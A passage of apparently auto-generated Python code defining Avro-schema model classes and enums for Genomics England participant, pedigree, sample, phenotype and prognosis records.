"INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET",
"MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type":
"record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type":
["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A",
"B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name":
"mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name":
"fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type":
{"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR",
"SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name":
"KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM",
"ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL",
"PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}],
"doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name":
"ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "",
"default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default":
false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false},
{"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""},
{"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample",
"fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int",
"doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "",
"symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS",
"BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""},
{"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA",
"RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name":
"PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS",
"ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null",
{"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId",
"type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version",
"type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name":
"coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"],
"doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}]}}, "doc": ""}, {"name": "analysisPanels", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "AnalysisPanel", "doc": "", "fields":
[{"name": "specificDisease", "type": "string", "doc": ""}, {"name": "panelName", "type": "string",
"doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name":
"reviewOutcome", "type": "string", "doc": ""}, {"name": "multipleGeneticOrigins", "type": "string",
"doc": ""}]}}], "doc": ""}, {"name": "diseasePenetrances", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "DiseasePenetrance", "doc": "", "fields": [{"name":
"specificDisease", "type": "string", "doc": ""}, {"name": "penetrance", "type": {"type": "enum",
"name": "Penetrance", "doc": "", "symbols": ["complete", "incomplete"]}, "doc": ""}]}}], "doc": ""},
{"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "familyQCState", "type":
["null", {"type": "enum", "name": "FamilyQCState", "doc": "", "symbols": ["noState",
"passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation",
"queryToGel", "queryToGMC", "failed"]}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"LDPCode",
"analysisPanels",
"diseasePenetrances",
"familyId",
"familyQCState",
"members",
"readyForAnalysis",
"versionControl",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'analysisPanels': AnalysisPanel,
'diseasePenetrances': DiseasePenetrance,
'members': PedigreeMember,
'versionControl': VersionControl,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'analysisPanels': AnalysisPanel,
'diseasePenetrances': DiseasePenetrance,
'members': PedigreeMember,
'versionControl': VersionControl,
}
return embeddedTypes[fieldName]
__slots__ = [
'LDPCode', 'analysisPanels', 'diseasePenetrances', 'familyId',
'familyQCState', 'members', 'readyForAnalysis',
'versionControl'
]
def __init__(self, **kwargs):
self.LDPCode = kwargs.get(
'LDPCode', None)
self.analysisPanels = kwargs.get(
'analysisPanels', None)
self.diseasePenetrances = kwargs.get(
'diseasePenetrances', None)
self.familyId = kwargs.get(
'familyId', None)
self.familyQCState = kwargs.get(
'familyQCState', None)
self.members = kwargs.get(
'members', None)
self.readyForAnalysis = kwargs.get(
'readyForAnalysis', None)
self.versionControl = kwargs.get(
'versionControl', None)
class PedigreeMember(ProtocolElement):
"""
This defines a RD Participant (demographics and pedigree
information)
"""
_schemaSource = """
{"type": "record", "name": "PedigreeMember", "namespace": "org.gel.models.participant.avro", "doc":
"", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""}, {"name": "isProband",
"type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type": ["null", "string"],
"doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum", "name":
"ParticipantQCState", "doc": "", "symbols": ["noState", "passedMedicalReviewReadyForInterpretation",
"passedMedicalReviewNotReadyForInterpretation", "queryToGel", "queryToGMC", "failed"]}], "doc": ""},
{"name": "gelSuperFamilyId", "type": ["null", "string"], "doc": ""}, {"name": "sex", "type":
{"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""},
{"name": "personKaryotypicSex", "type": ["null", {"type": "enum", "name": "PersonKaryotipicSex",
"doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY",
"OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name":
"fatherId", "type": ["null", "int"], "doc": ""}, {"name": "motherId", "type": ["null", "int"],
"doc": ""}, {"name": "superFatherId", "type": ["null", "int"], "doc": ""}, {"name": "superMotherId",
"type": ["null", "int"], "doc": ""}, {"name": "twinGroup", "type": ["null", "int"], "doc": ""},
{"name": "monozygotic", "type": ["null", {"type": "enum", "name": "TernaryOption", "doc": "",
"symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name": "adoptedStatus", "type": ["null",
{"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols": ["notadopted", "adoptedin",
"adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null", {"type": "enum", "name":
"LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED", "UNBORN", "STILLBORN",
"MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type": ["null", "TernaryOption"],
"doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum", "name": "AffectionStatus",
"doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc": ""}, {"name":
"disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Disorder",
"doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""}, {"name":
"diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease", "type":
["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc": ""}]}}],
"doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""}, {"name":
"termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber", "type":
["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record", "name":
"HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum", "name":
"Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name": "progression",
"type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE",
"NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity",
"symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern",
"type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED",
"LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum",
"name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET",
"INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET",
"MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type":
"record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type":
["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A",
"B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name":
"mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name":
"fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type":
{"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR",
"SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name":
"KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM",
"ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL",
"PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}],
"doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name":
"ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "",
"default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default":
false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false},
{"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""},
{"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample",
"fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int",
"doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "",
"symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS",
"BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""},
{"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA",
"RNA"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name":
"PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS",
"ASPIRATE"]}], "doc": ""}]}}], "doc": ""}, {"name": "inbreedingCoefficient", "type": ["null",
{"type": "record", "name": "InbreedingCoefficient", "doc": "", "fields": [{"name": "sampleId",
"type": "string", "doc": ""}, {"name": "program", "type": "string", "doc": ""}, {"name": "version",
"type": "string", "doc": ""}, {"name": "estimationMethod", "type": "string", "doc": ""}, {"name":
"coefficient", "type": "double", "doc": ""}, {"name": "standardError", "type": ["null", "double"],
"doc": ""}]}], "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"additionalInformation",
"adoptedStatus",
"affectionStatus",
"ancestries",
"consanguineousParents",
"consentStatus",
"disorderList",
"fatherId",
"gelSuperFamilyId",
"hpoTermList",
"inbreedingCoefficient",
"isProband",
"lifeStatus",
"monozygotic",
"motherId",
"participantId",
"participantQCState",
"pedigreeId",
"personKaryotypicSex",
"samples",
"sex",
"superFatherId",
"superMotherId",
"twinGroup",
"yearOfBirth",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'ancestries': Ancestries,
'consentStatus': ConsentStatus,
'disorderList': Disorder,
'hpoTermList': HpoTerm,
'inbreedingCoefficient': InbreedingCoefficient,
'samples': Sample,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'ancestries': Ancestries,
'consentStatus': ConsentStatus,
'disorderList': Disorder,
'hpoTermList': HpoTerm,
'inbreedingCoefficient': InbreedingCoefficient,
'samples': Sample,
}
return embeddedTypes[fieldName]
__slots__ = [
'additionalInformation', 'adoptedStatus', 'affectionStatus',
'ancestries', 'consanguineousParents', 'consentStatus',
'disorderList', 'fatherId', 'gelSuperFamilyId', 'hpoTermList',
'inbreedingCoefficient', 'isProband', 'lifeStatus',
'monozygotic', 'motherId', 'participantId',
'participantQCState', 'pedigreeId', 'personKaryotypicSex',
'samples', 'sex', 'superFatherId', 'superMotherId',
'twinGroup', 'yearOfBirth'
]
def __init__(self, **kwargs):
self.additionalInformation = kwargs.get(
'additionalInformation', None)
self.adoptedStatus = kwargs.get(
'adoptedStatus', None)
self.affectionStatus = kwargs.get(
'affectionStatus', None)
self.ancestries = kwargs.get(
'ancestries', None)
self.consanguineousParents = kwargs.get(
'consanguineousParents', None)
self.consentStatus = kwargs.get(
'consentStatus', None)
self.disorderList = kwargs.get(
'disorderList', None)
self.fatherId = kwargs.get(
'fatherId', None)
self.gelSuperFamilyId = kwargs.get(
'gelSuperFamilyId', None)
self.hpoTermList = kwargs.get(
'hpoTermList', None)
self.inbreedingCoefficient = kwargs.get(
'inbreedingCoefficient', None)
self.isProband = kwargs.get(
'isProband', None)
self.lifeStatus = kwargs.get(
'lifeStatus', None)
self.monozygotic = kwargs.get(
'monozygotic', None)
self.motherId = kwargs.get(
'motherId', None)
self.participantId = kwargs.get(
'participantId', None)
self.participantQCState = kwargs.get(
'participantQCState', None)
self.pedigreeId = kwargs.get(
'pedigreeId', None)
self.personKaryotypicSex = kwargs.get(
'personKaryotypicSex', None)
self.samples = kwargs.get(
'samples', None)
self.sex = kwargs.get(
'sex', None)
self.superFatherId = kwargs.get(
'superFatherId', None)
self.superMotherId = kwargs.get(
'superMotherId', None)
self.twinGroup = kwargs.get(
'twinGroup', None)
self.yearOfBirth = kwargs.get(
'yearOfBirth', None)
class Penetrance(object):
"""
Penetrance assumed in the analysis
"""
complete = "complete"
incomplete = "incomplete"
def __hash__(self):
return str(self).__hash__()
class PersonKaryotipicSex(object):
"""
Karyotipic Sex
"""
UNKNOWN = "UNKNOWN"
XX = "XX"
XY = "XY"
XO = "XO"
XXY = "XXY"
XXX = "XXX"
XXYY = "XXYY"
XXXY = "XXXY"
XXXX = "XXXX"
XYY = "XYY"
OTHER = "OTHER"
def __hash__(self):
return str(self).__hash__()
class PhaseGenotype(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "PhaseGenotype", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "sortedAlleles", "type": {"type": "array", "items": "string"}}, {"name": "phaseSet",
"type": "int"}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"phaseSet",
"sortedAlleles",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'phaseSet', 'sortedAlleles'
]
def __init__(self, **kwargs):
self.phaseSet = kwargs.get(
'phaseSet', None)
self.sortedAlleles = kwargs.get(
'sortedAlleles', None)
class Phenotypes(ProtocolElement):
"""
Oontology term based on the OBO format (see an example here
http://snapshot.geneontology.org/ontology/go-basic.obo)
"""
_schemaSource = """
{"type": "record", "name": "Phenotypes", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}],
"doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"},
{"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]},
{"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]},
{"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null",
"string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type":
"record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name":
"version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"nonStandardPhenotype",
"standardPhenotypes",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'standardPhenotypes': StandardPhenotype,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'standardPhenotypes': StandardPhenotype,
}
return embeddedTypes[fieldName]
__slots__ = [
'nonStandardPhenotype', 'standardPhenotypes'
]
def __init__(self, **kwargs):
self.nonStandardPhenotype = kwargs.get(
'nonStandardPhenotype', None)
self.standardPhenotypes = kwargs.get(
'standardPhenotypes', None)
class PhenotypesSolved(object):
"""
No documentation
"""
yes = "yes"
no = "no"
partially = "partially"
unknown = "unknown"
def __hash__(self):
return str(self).__hash__()
class PreparationMethod(object):
"""
No documentation
"""
EDTA = "EDTA"
ORAGENE = "ORAGENE"
FF = "FF"
FFPE = "FFPE"
CD128_SORTED_CELLS = "CD128_SORTED_CELLS"
ASPIRATE = "ASPIRATE"
def __hash__(self):
return str(self).__hash__()
class PrimaryPurpose(object):
"""
Treatment: One or more interventions are being evaluated for
treating a disease, syndrome, or condition. Prevention: One or
more interventions are being assessed for preventing the
development of a specific disease or health condition.
Diagnostic: One or more interventions are being evaluated for
identifying a disease or health condition. Supportive Care:
One or more interventions are evaluated for maximizing comfort,
minimizing side effects, or mitigating against a decline in the
participant's health or function. Screening: One or more
interventions are assessed or examined for identifying a
condition, or risk factors for a condition, in people who are not
yet known to have the condition or risk factor. Health
Services Research: One or more interventions for evaluating the
delivery, processes, management, organization, or financing of
healthcare. Basic Science: One or more interventions for
examining the basic mechanism of action (for example, physiology
or biomechanics of an intervention). Device Feasibility: An
intervention of a device product is being evaluated in a small
clinical trial (generally fewer than 10 participants) to determine
the feasibility of the product; or a clinical trial to test a
prototype device for feasibility and not health outcomes. Such
studies are conducted to confirm the design and operating
specifications of a device before beginning a full clinical trial.
Other: None of the other options applies. Ref.
https://prsinfo.clinicaltrials.gov/definitions.htm
"""
treatment = "treatment"
prevention = "prevention"
diagnostic = "diagnostic"
supportive_care = "supportive_care"
screening = "screening"
health_services_research = "health_services_research"
basic_science = "basic_science"
device_feasibility = "device_feasibility"
other = "other"
def __hash__(self):
return str(self).__hash__()
class Product(object):
"""
No documentation
"""
DNA = "DNA"
RNA = "RNA"
def __hash__(self):
return str(self).__hash__()
class Prognosis(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Prognosis", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null",
{"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis",
"favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null",
"string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name":
"variantActionable", "type": "boolean", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"conditions",
"description",
"prognosis",
"referenceUrl",
"references",
"source",
"variantActionable",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'conditions', 'description', 'prognosis', 'referenceUrl',
'references', 'source', 'variantActionable'
]
def __init__(self, **kwargs):
self.conditions = kwargs.get(
'conditions', None)
self.description = kwargs.get(
'description', None)
self.prognosis = kwargs.get(
'prognosis', None)
self.referenceUrl = kwargs.get(
'referenceUrl', None)
self.references = kwargs.get(
'references', None)
self.source = kwargs.get(
'source', None)
self.variantActionable = kwargs.get(
'variantActionable', None)
class PrognosisClassification(object):
"""
No documentation
"""
altered_prognosis = "altered_prognosis"
favourable_prognosis = "favourable_prognosis"
unfavourable_prognosis = "unfavourable_prognosis"
def __hash__(self):
return str(self).__hash__()
class Program(object):
"""
The Genomics England program
"""
cancer = "cancer"
rare_disease = "rare_disease"
def __hash__(self):
return str(self).__hash__()
class ProgrammePhase(object):
"""
No documentation
"""
CRUK = "CRUK"
OXFORD = "OXFORD"
CLL = "CLL"
IIP = "IIP"
MAIN = "MAIN"
EXPT = "EXPT"
def __hash__(self):
return str(self).__hash__()
class Progression(object):
"""
No documentation
"""
PROGRESSIVE = "PROGRESSIVE"
NONPROGRESSIVE = "NONPROGRESSIVE"
def __hash__(self):
return str(self).__hash__()
class RDFamilyChange(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "RDFamilyChange", "namespace": "org.gel.models.participant.avro",
"fields": [{"name": "FamilyId", "type": "string", "doc": ""}, {"name": "code", "type": {"type":
"enum", "name": "RDFamilyChangeCode", "doc": "", "symbols": ["FamilyAdded", "FamilyDeleted",
"ProbandChanged", "ParticipantAdded", "ParticipantRemoved", "ConsentStatusChanged",
"AffectionStatusChanged", "PanelAssignmentChanged", "SexChanged", "SampleChanged"]}, "doc": ""},
{"name": "Family", "type": {"type": "record", "name": "Pedigree", "doc": "", "fields": [{"name":
"versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name":
"GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}, {"name":
"LDPCode", "type": ["null", "string"], "doc": ""}, {"name": "familyId", "type": "string", "doc":
""}, {"name": "members", "type": {"type": "array", "items": {"type": "record", "name":
"PedigreeMember", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"], "doc": ""},
{"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId", "type":
["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type": "enum",
"name": "ParticipantQCState", "doc": "", "symbols": ["noState",
"passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation",
"queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null",
"string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols":
["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null",
{"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO",
"XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type":
["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name":
"motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"],
"doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup",
"type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum",
"name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name":
"adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols":
["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null",
{"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED",
"UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type":
["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum",
"name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc":
""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""},
{"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease",
"type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""},
{"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber",
"type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record",
"name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum",
"name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name":
"progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE",
"NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity",
"symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern",
"type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED",
"LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum",
"name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET",
"INFANTILE_ONSET", "CHILDHOOD_ONSET", "JUVENILE_ONSET", "YOUNG_ADULT_ONSET", "LATE_ONSET",
"MIDDLE_AGE_ONSET"]}], "doc": ""}]}}], "doc": ""}, {"name": "ancestries", "type": ["null", {"type":
"record", "name": "Ancestries", "doc": "", "fields": [{"name": "mothersEthnicOrigin", "type":
["null", {"type": "enum", "name": "EthnicCategory", "doc": "", "symbols": ["D", "E", "F", "G", "A",
"B", "C", "L", "M", "N", "H", "J", "K", "P", "S", "R", "Z"]}], "doc": ""}, {"name":
"mothersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"fathersEthnicOrigin", "type": ["null", "EthnicCategory"], "doc": ""}, {"name":
"fathersOtherRelevantAncestry", "type": ["null", "string"], "doc": ""}, {"name":
"chiSquare1KGenomesPhase3Pop", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "ChiSquare1KGenomesPhase3Pop", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type":
{"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR",
"SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name":
"KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM",
"ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL",
"PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]}}],
"doc": ""}]}], "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name":
"ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "",
"default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default":
false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false},
{"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""},
{"name": "samples", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Sample",
"fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int",
"doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "",
"symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS",
